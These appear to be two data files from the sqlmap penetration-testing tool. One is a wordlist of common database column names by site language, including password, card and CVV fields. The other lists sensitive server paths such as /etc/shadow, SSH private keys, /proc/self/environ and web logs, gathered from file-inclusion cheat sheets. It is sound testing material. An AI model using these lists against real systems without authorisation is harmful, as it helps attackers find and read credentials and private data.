xprocesso_apensado multastrategy_id saida grupo_id guid_sessao indice xjurisdicao news_category_id mf_category_id product_type_id xusuario vendor_id sitepref_name desd_xjurisdicao option_id xrelatorio codusuario id_cidade user_info_id desd_xfase situacao file_id zone_id id_servico situacao_id tidfornecedor valor2 valor3 valor4 valor5 origem few idxatv mopp prestador_id xprognostico xclasse log_id xadverso guid_email guiaavulsa_id pl vendor_category_id venc3 venc2 totpc venc5 venc4 xserie order_info_id an totpp totpv imagen_id esquema atividade_id xgarantia discount_id xnatureza group_perm_id category_child_id newssummaryauthor and_xevento # site:de rolle_nr standort_nr ja persnr vorname width titel filename post_id swidth height vorgaenger matrnr kursnr notification_type sheight style_id startnummer bezeichnung basename kat_id whabfragen struct_id havabfragen abfrsql vorlnr ban_id forum_id rank_id nr k_id nachname ort key_id groesse datum image_id entry speise_id word_id absatz_id class_id mail_id zid ticket_id queue_id pid1 pid2 currval forum organizationid institute_id history_id my how after meetingid mitarbeiterid idgruppe re artikel_id top perid pers_nr idstelle messageid acctid address_book_id article_id com kid rule_id kosten plz confirm_id race_id vis_id descr seitelayout_id vote_id g_id activated show guy vtyp_id timeofmove views meta_id blz bookid teilnehmernr weaponid region_id resultid calendar address_id pos d_id serverid cd answer_id categories_id start site_id price_id az mnr cis_id config_key address_format_id tn tax_id mountname standard schweiz partner_id idkontakt eventid oldstate topicid sonst pk mountcategory von orders_recalculate_id block_id knr msgid ortnr seiteabs_id id1 um paperid send wid gi lieferant orgid profile zugang allow unique_id taskid configuration_id jcode ex_id blog_id who section_id mindk beschreibung schl you object_link_a_id disallow_id strasse option_name q_trid summary_id gameid # site:es catid dni prune_id anid linkid qid word_text id_cat eid privmsgs_text_id downloadid hid themes_id privmsgs_id codi requestid ratingdbid edad secid sitename artid gallid main_module contactid aro_id replace total root prodid id_paciente mosloadposition de mossef ordid stdprice advanced super editor rol editors mosvote agent en searchbot cod_aplicacion manager geshi author coste mos menutype session_ip publisher texto actor_id mosemailcloak none id_tra sistema help custid value_id nompuerto legacybots id_enfermedad tinymce nivel locale load format registered moscode results search_term mosimage sin mospaging que sef dorsal coste_total legacy btn repid parent_id time_stamp bannerid # site:fr numero id_auteur titre lang tag id_forum id_groupe id_article alliance1 alliance2 id_message num fichier id_user id_syndic dico id_rubrique id_document id_breve id_signature id_type ide id_syndic_article id_mot n_agence ville codepostal sess_id num1 constraint_name n_type theme_id image referer_md5 id_fragment new_id version_min liste id_version prix terms_body prenom nid n_client n_compte apid n_dept n_dir age # site:ru dt_id subdivision_id sub_class_id comments cmtid tags checkbox ct_id part lastupdated customsettings catalogue_id relationmessage englishname ba_num_reads at_id bs_setting am_id t2 t1 message blogcommentsaccess_id sub_class grfilt tempprovkredit ostdate koef bms_cat_id bd_id field2 field3 dd kredit callend gcode blogcommentsaccess sender udal bcf_id bfs_id schet grcode blogcommentssub blogpermissiongroup_id us_id bv_id bvo_id rusname gbid kontr600 realiz_opt bs_bid bb_id bf_id wuser v_id sklad sd object_sub_class_id callstart myexec relationsub id_photo bfl_id bml_id blogmessagesaccess bn_id bsu_id id_links bo_id dates kontr620 pom object_parent_id ostatki tovar oid bsm_id mn_id pcode id_poll_ip groupcodes codeid fot_id spell_id typenamekeeper bt_id odate bdate bs_id id_paragraph t4 t3 nt_id id_contact korschet data_in id_msg bc_plugin summaprihod boe_c_id bct_id grkntr btt_id string tl_id subdivision_name bc_id bfp_id bcfs_id vcode id_refferer ssschet sessid im_id id_poll ba_num_voted kontr60 id_ip kre1 ord_id kc bbt_id bst_id bftt_id blogpermissiongroup it_id chost bo_order_number ba_id object_sub_id hidden_url bms_id pnds pt_id realiz id_catalog wdate bff_id matcode bur_cat_id bsl_id blogmessagesaccess_id bcena ostatkii ost1 bvr_id prih bu_id bp_id isview id_artpage tb_id bst_time ba_order_num username1 id_answer rt_id bot_id korschetfilter st_id summachp vt_id data_out journals enumtypid scriptname result bsur_id keyname handle ba_date blogcommentscc lg_id bft_id ft_id toorg debet orgcode partstring id_product bte_id pu_id mt_id edate community bpe_id grtov id_page boe_id sut_id task_id object can voteid operation_id city_id list page_id banner_id error language_id val parol familiya imya otchestvo # site:jp dealer_id modify_date regist_date comment payment_method service_name file1 rel_id sub_large_image3 sub_image6 sub_image4 sub_image5 sub_image3 sub_image1 fix companyid formid charge page_name deliv_fee category_name stock_unlimited sale_limit nam target_id tempid point_rate payment_image confirm_url dt document_id productid ken_kanji attname parent_category_id module_name main_list_image create_date conkey product_code price01 price02 classcategory_id1 seminer_id classcategory_id2 newrow update_date classcategory_id yeartag job relname comm main_large_image sub_image2 deliv_id idx comment5 bloc_row ndc comment6 comment1 comment3 comment2 creator_id bloc_name equip_id recommend_product_id file3 file2 jiscode file6 file5 file4 news_date rank sub_title5 sub_title4 sub_title6 sub_title1 sub_title3 sub_title2 txt loc fee committee_id module_code pref disp_name pref_id deliv_date_id relid upper_rule main_image umeta_id template_code edit_flg comment4 kiyaku_title hiredate csv_id sal attrelid deptname main_comment sub_large_image4 sub_large_image5 sub_large_image6 php_dir sub_large_image1 sub_large_image2 bloc_id test tpl_dir del_flg stock sale_unlimited sub_comment4 sub_comment5 sub_comment6 manuscriptid sub_comment1 sub_comment2 sub_comment3 main_list_comment mgr product_flag rule c_commu_topic_id c_diary_comment_log_id # site:it idcomune idruolo idtrattamento idpaziente matricola idpersonale idasl idanagrafica idciclo iddocumento idservizio idricovero idclinica idcamera idtipociclo idsistemazione idtiporicovero idtiposervizio idsesso idpagamento idtipodimissione idletto iddescrizionedocumento codice cognome idtipodocumento idstatocivile idtipologiaservizio idtipotrattamento idmedicofamiglia idregistro idreparto iddistretto idprovenienza telefono eta figlio reddito denominazione anno idbocca idcartellaclinica idsistnerv idappargenit idtipotrasferimento dataricovero idcuore cap descrizione idocchi sede idricoverohatipologia noteaccettazione dal datadimissione idorecchie idcorpo id_provincia idtipologiaricovero id_regione idapparlocom idcomuneresidenza created_at datanascita corso idanamnesifamil idesameobiettivo idcapo idsmaglog sesso impiegato luogonascita idcute idcollo idsistresp dipsede cellulare idaddome php idnaso cf idstatogenerale idtrasferimento indirizzo genitore dipnome updated_at idlinfonodi groupname shop c_name plugin_googlemap2 jfalternative post_status localita prz_merce_fis idgroupacl comune ana_codice utenteid mod_gtranslate idlocation rating_id online_id jfsections idextra categories luogoid nroordine stat_name gender oggettistica gru_userid pv_id parigi direct pm_id idperiodo idarticolo what can_codice sub id_nazione client_name acc_codice mod_freeway_services cleanurl newyork idcategory active box prc_sconto1 prc_sconto3 prc_sconto4 disma iddiscipline job_e_date risultato mod_arcadebtn jfrouter apply unit newcollection customenu prova cod_utente_mod helvetica send_id mf_desc nroarticolo mod_ninja_simple_icons sessione cdele statoattivitaid bracciali zenzaro cod_valuta collane tabella newyorkenglish grp_id var_id sot_proposta_e virtuemart enteid rpad auth_id realname attivitaid readmore freewaylogin idconfig pin pins csc cvd cvv cvv2 cvvc ccv ccid qta_merce charms diritto accessori mod_signallogin remember mod_virtuemart_featureprod padre prc_sconto2 enter idgara morfeoshow lingua piede gtranslate under_menu id_disciplina nomedip before mod_virtuemart_search arial job_id config_item add_date jfdatabase madre idragsoc idsubscriptiontickets loadmodule jumpmenu idsocieta category_img portachiavi mf_name codicepaziente mod_virtuemart_randomprod ninja pro_codice mod_vm_cat_menu_specific vinod newsfeeds id_palestra mod_custom css debug side dipart areainterventoid mod_flashmod tipologiaenteid emailcloak mod_freeway_events id_logho codicemedico nuova catarticles dst gru_codice idutente idutenti job_title schedaid idmlattach zonainterventoid totfasciaeuroid structure_id att_codice blogger plan_table_output pagenavigation idplugin vote mod_freeway_subscriptions idconn cerca system langkey app_gruppo_e term_taxonomy_id statement params oggetto mod_cpmfetch signallogin id_passwd codrappr coddoc statoavanzamid nrsez idmlgroup rated_id kwick id_citta prc_magg1 prc_magg2 flg_fiscale banner_url attribute_sku_id mod_product_list end_date_time purchase_id client_url vm_manufacturer_category pfs_id veteran mod_cd_login menu_selezione ruoloenteid ele_codice pl_id payment idmlmail mod_virtuemart_currencies freeway annoid cod_dep area_id prg_art alias_area_id sent po_id yoologin sys_context mod_enugene idnotsentmails mod_virtuemart_manufacturers menu cache prg_movimento_riga url_md5 ldap tvoti villiam full_news yoocarousel main2 main3 dat_utente_mod user_alto pff_id smilie_id mod_date banner pinsn codice_comune vm_payment_method idclassificatore idgroup progetto mod_freeway_shoppingcart payment_extrainfo cost_id gmail dat_movimento mod_jt_slideshow campo_bol idcliente prz_merce hdesc fp_id jt idfile ji mod_catarticles mod_virtuemart_latestprod mod_customenu app_utente_e prg_movimento include_date cod flipper naresh cache_language_id id_preventivo config_owner header mootoolnicemenu qualificareferenteid modhome id_annuncio idtitolo source charmsn swf tutor mod_yoo_carousel portachiavin idevent mod_mainmenu jfcontent item_cd tpref id_news mf_category_name iddesign moduledir cod_clifor fkidannofdr mod_donimedia_select_box_menu_type1 jfcontacts jpg client_desc mod_freewaylogin mod_translate flscrvpre grand mf_category_desc payment_method_name extended mod_vm_prod_cat_full mod_freeway_admin orecchini nlista jfcategories mod_cssmenu mod_lxmenu mod_flipper_img_rotator fkidanagrafica id_comune statement_id idatleta inactive mod_sidebarmenuapplestyle candidato ref_url testq ind_clifor xmlrpc pingback_id l_col_list fs_id press mod_freeway_products semo bijoux rakesh modulo_contatti google vm_manufacturer vot_proposta_e brend post_date enugene nrcandi invoice home sot_utente_e settoreid weblinks contacts id2 codcliente news_title job_s_date sql_text affiliate backlink core id_attivita index_num etertre manufacturer cod_utente_cre cod_art ideventcategory dat_utente_cre cache_id joomla product_list coupon mod_sendcart bijouxn pagebreak idsessione arcade mod_virtuemart_topten banner_title flg_prezzo_con_iva partnerid vot_utente_e sections xstandard id_scheda vm_category mod_jumplink exclude_date ruoloid contenuti accessorin coppermine banlist_id offerte idticket idsubscription beneficiarioid oggettistican jfnewsfeeds anelli ship imenu na nb get_ddl short_news openid titoloprogettoid connection_id mod_kwick_sliding_menu matr id_richiesta idoggetto lxmenu text_id user_basso ver_codice mayank idgrouppermission modules client_img does_repeat # site:cn typeid cronid advid admingid payid tagname optionid templateid applyid searchid styleid medalid pluginvarid fldfuntype fldfunindex displayorder pluginid fldfunopen fldfunid fldfunhref fldfunmemo fldfunname mobile invisible polloptionid cachename tagid pluginhookid pmid fldfuninfo magicid keyid areaid logid folder allno vieworder classid topped msg topics rankid timeid iconid intro corpid replies operation announceid nickname goods_id attachment special hk_name stylevarid posterid curtopics allowbanip hide allowdelpost db_value picurl yahoo adid digest n_id hidden olimg lastpost signature lastposttime doid authstr tabid org_code typename allowstickthread departmentid allowmassprune identify old avatar allowedituser forumname descrip blogid allowmoduser lastposterid today tempfidlist feedid courseid olid hk_value xh allowpostannounce copy splitstring icon fidlist lastpostpmtime article former projectid avatarheight html alloweditpoll downloads channelid allowbanuser appid allowcensorword emailid lastexecuted decl_mail lastupdatetime billid vid lastposter allowrefund allowviewrealname installed lasttid postcount searchstring reason customstatus titleid newpms verifycode forumid attention readperm skype lastsearchtime bio lastpostid idcard postdatetime question poster sightml highlight pageid threadorder todaycount currentindex avatarwidth magic allowmodpost allowviewip pro_id iid decrip alloweditpost mailid lastforumposterid accountid tids medals fileid postid closed lastactivity newnotices allowviewlog expiration layer ishtml command brand_id disablepostctrl fieldname # site:id ajar akses aktif akun alamat batas cabang deskripsi foto harga hp jeda jenis jml judul jumlah kata_kunci kata_sandi katakunci katasandi kategori kelas keterangan kode kunci lahir nama nama_akun nama_ibu_kandung nama_pengguna namaakun namapengguna pekerjaan pendidikan pengguna penjelasan perusahaan ponsel profesi ruang sandi soal surat_elektronik surel tanggal tanggal_lahir telepon tempat tempat_lahir tmp_lahir universitas urut waktu # WebGoat cookie login_count # https://sqlwiki.netspi.com/attackQueries/dataTargeting/ credit card pin cvv pan password social ssn account confidential # site:nl naam straat gemeente beschrijving id_gebruiker gebruiker_id gebruikersnaam wachtwoord telefoon voornaam achternaam geslacht huisnummer gemeente leeftijd # site:cn yonghuming mima xingming xingbie touxiang youxiang shouji # Misc u_pass hashedPw # password (international) adgangskode aikotoba amho bimilbeonho codewort contrasena contrasenya contrasinal esmeramz facalfare fjalekalim focalfaire gagtnabar geslo gozarvazhe gunho haslo heslo hudyat igamalokungena iphasiwedi javka jelszo kadavucol kalameobur kalimatumurur kalimatusirr kalmarsirri katalaluan katasandi kennwort kodeord kodikos kouling kupiasoz kupuhipa kupukaranga kupuuru kupuwhakahipa losen losenord lozinka lykilord matkhau mima nenosiri nywila okwuntughe oroasina oroigbaniwole paeseuwodeu parol parola parolachiave paroladordine parole paroli parolja parool parulle pasahitza pasfhocal pasowardo passord passwort pasuwado pasvorto rahatphan ramzobur salasana salasona santoysena senha sifra sifre sisma slaptazodis synthimatiko tunnussana wachtwoord wachtwurd wagwoord ================================================ FILE: data/txt/common-files.txt ================================================ # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # CTFs /flag /flag.txt /readflag # Reference: https://gist.github.com/sckalath/78ad449346171d29241a /apache/logs/access.log /apache/logs/error.log /bin/php.ini /etc/alias /etc/apache2/apache.conf /etc/apache2/conf/httpd.conf /etc/apache2/httpd.conf /etc/apache/conf/httpd.conf /etc/bash.bashrc /etc/chttp.conf /etc/crontab /etc/crypttab /etc/debian_version /etc/exports /etc/fedora-release /etc/fstab /etc/ftphosts /etc/ftpusers /etc/group /etc/group- /etc/hosts /etc/http/conf/httpd.conf /etc/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/http/httpd.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/issue.net /etc/lighttpd.conf /etc/login.defs /etc/mandrake-release /etc/motd /etc/mtab /etc/my.cnf /etc/mysql/my.cnf /etc/openldap/ldap.conf /etc/os-release /etc/pam.conf /etc/passwd /etc/passwd- /etc/password.master /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/cgi/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/profile /etc/proftp.conf /etc/proftpd/modules.conf /etc/protpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/pureftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/security/environ /etc/security/group /etc/security/limits /etc/security/passwd /etc/security/user /etc/shadow /etc/shadow- /etc/slackware-release /etc/sudoers /etc/SUSE-release /etc/sysctl.conf /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/access.log /logs/error.log /opt/apache2/conf/httpd.conf /opt/apache/conf/httpd.conf /opt/xampp/etc/php.ini /private/etc/httpd/httpd.conf /private/etc/httpd/httpd.conf.default /root/.bash_history /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /tmp/access.log /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/lib/security/mkuser.default /usr/local/apache2/conf/httpd.conf /usr/local/apache2/httpd.conf /usr/local/apache2/logs/access_log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/error.log /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/php.ini /usr/local/apache/httpd.conf /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error. og /usr/local/apps/apache2/conf/httpd.conf /usr/local/apps/apache/conf/httpd.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/vhosts.conf /usr/local/etc/httpd/conf/httpd.conf /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/httpd/conf/httpd.conf /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.php /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/local/www/conf/php.ini /var/log/access_log /var/log/access.log /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/error_log /var/log/error.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/messages /var/log/messages.1 /var/log/user.log /var/log/user.log.1 /var/www/conf/httpd.conf /var/www/html/index.html /var/www/logs/access_log /var/www/logs/access.log /var/www/logs/error_log /var/www/logs/error.log /Volumes/webBackup/opt/apache2/conf/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.default /web/conf/php.ini # Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py /var/log/mysqld.log /var/www/index.php # Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 /var/www/index.php /usr/local/apache/index.php /usr/local/apache2/index.php /usr/local/www/apache22/index.php /usr/local/www/apache24/index.php /usr/local/httpd/index.php /var/www/nginx-default/index.php /srv/www/index.php /var/www/config.php /usr/local/apache/config.php /usr/local/apache2/config.php /usr/local/www/apache22/config.php /usr/local/www/apache24/config.php /usr/local/httpd/config.php /var/www/nginx-default/config.php /srv/www/config.php # Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 /srv/www/htdocs/index.php /usr/local/apache2/htdocs/index.php /usr/local/www/data/index.php /var/apache2/htdocs/index.php /var/www/htdocs/index.php /var/www/html/index.php /srv/www/htdocs/config.php /usr/local/apache2/htdocs/config.php /usr/local/www/data/config.php /var/apache2/htdocs/config.php /var/www/htdocs/config.php /var/www/html/config.php # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux /etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/stat /proc/swaps /proc/version /proc/self/net/arp /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log # Reference: https://nets.ec/File_Inclusion /etc/passwd /etc/master.passwd /etc/shadow /var/db/shadow/hash /etc/group /etc/hosts /etc/motd /etc/issue /etc/release /etc/redhat-release /etc/crontab /etc/inittab /proc/version /proc/cmdline /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/255 /etc/httpd.conf /etc/apache2.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/apache2/conf/httpd.conf /etc/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/default /etc/nginx.conf /etc/nginx/nginx.conf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default /etc/ssh/sshd_config /etc/my.cnf /etc/mysql/my.cnf /etc/php.ini /var/mail/www-data /var/mail/www /var/mail/apache /var/mail/nobody /var/www/.bash_history /root/.bash_history /var/root/.bash_history /var/root/.sh_history /etc/passwd /etc/master.passwd /etc/shadow /var/db/shadow/hash /etc/group /etc/hosts /etc/motd /etc/issue /etc/release /etc/redhat-release /etc/crontab /etc/inittab /proc/version /proc/cmdline /proc/self/environ /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/2 /proc/self/fd/255 /etc/httpd.conf /etc/apache2.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/apache2/conf/httpd.conf /etc/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/default /etc/nginx.conf /etc/nginx/nginx.conf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default /etc/ssh/sshd_config /etc/my.cnf /etc/mysql/my.cnf /etc/php.ini /var/mail/www-data /var/mail/www /var/mail/apache /var/mail/nobody /var/www/.bash_history /root/.bash_history /var/root/.bash_history /var/root/.sh_history /usr/local/apache/httpd.conf /usr/local/apache2/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache2/conf/httpd.conf /usr/local/etc/httpd/conf/httpd.conf /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf /etc/http/conf/httpd.conf /etc/http/httpd.conf /opt/apache/conf/httpd.conf /opt/apache2/conf/httpd.conf /var/www/conf/httpd.conf /usr/local/php/httpd.conf /usr/local/php4/httpd.conf /usr/local/php5/httpd.conf /etc/httpd/php.ini /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/etc/php.ini /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php5/lib/php.ini /usr/local/apache/conf/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /usr/local/Zend/etc/php.ini /opt/xampp/etc/php.ini /var/local/www/conf/php.ini /etc/php/cgi/php.ini /etc/php4/cgi/php.ini /etc/php5/cgi/php.ini /var/log/lastlog /var/log/wtmp /var/run/utmp /var/log/messages.log /var/log/messages /var/log/messages.0 /var/log/messages.1 /var/log/messages.2 /var/log/messages.3 /var/log/syslog.log /var/log/syslog /var/log/syslog.0 /var/log/syslog.1 /var/log/syslog.2 /var/log/syslog.3 /var/log/auth.log /var/log/auth.log.0 /var/log/auth.log.1 /var/log/auth.log.2 /var/log/auth.log.3 /var/log/authlog /var/log/syslog /var/adm/lastlog /var/adm/messages /var/adm/messages.0 /var/adm/messages.1 /var/adm/messages.2 /var/adm/messages.3 /var/adm/utmpx /var/adm/wtmpx /var/log/kernel.log /var/log/secure.log /var/log/mail.log /var/run/utmp /var/log/wtmp /var/log/lastlog /var/log/access.log /var/log/access_log /var/log/error.log /var/log/error_log /var/log/apache2/access.log /var/log/apache2/access_log /var/log/apache2/error.log /var/log/apache2/error_log /var/log/apache/access.log /var/log/apache/access_log /var/log/apache/error.log /var/log/apache/error_log /var/log/httpd/access.log /var/log/httpd/access_log /var/log/httpd/error.log /var/log/httpd/error_log /etc/httpd/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/error.log /etc/httpd/logs/error_log /usr/local/apache/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache2/logs/access.log /usr/local/apache2/logs/access_log /usr/local/apache2/logs/error.log /usr/local/apache2/logs/error_log /var/www/logs/access.log /var/www/logs/access_log /var/www/logs/error.log /var/www/logs/error_log /opt/lampp/logs/access.log /opt/lampp/logs/access_log /opt/lampp/logs/error.log /opt/lampp/logs/error_log /opt/xampp/logs/access.log /opt/xampp/logs/access_log /opt/xampp/logs/error.log /opt/xampp/logs/error_log # Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data /.htaccess /.htpasswd /access.log /access_log /apache/conf/httpd.conf /apache/logs/access.log /apache/logs/error.log /apache/php/php.ini /apache2/logs/access.log /apache2/logs/error.log /bin/php.ini /boot.ini /boot/grub/grub.cfg /boot/grub/menu.lst 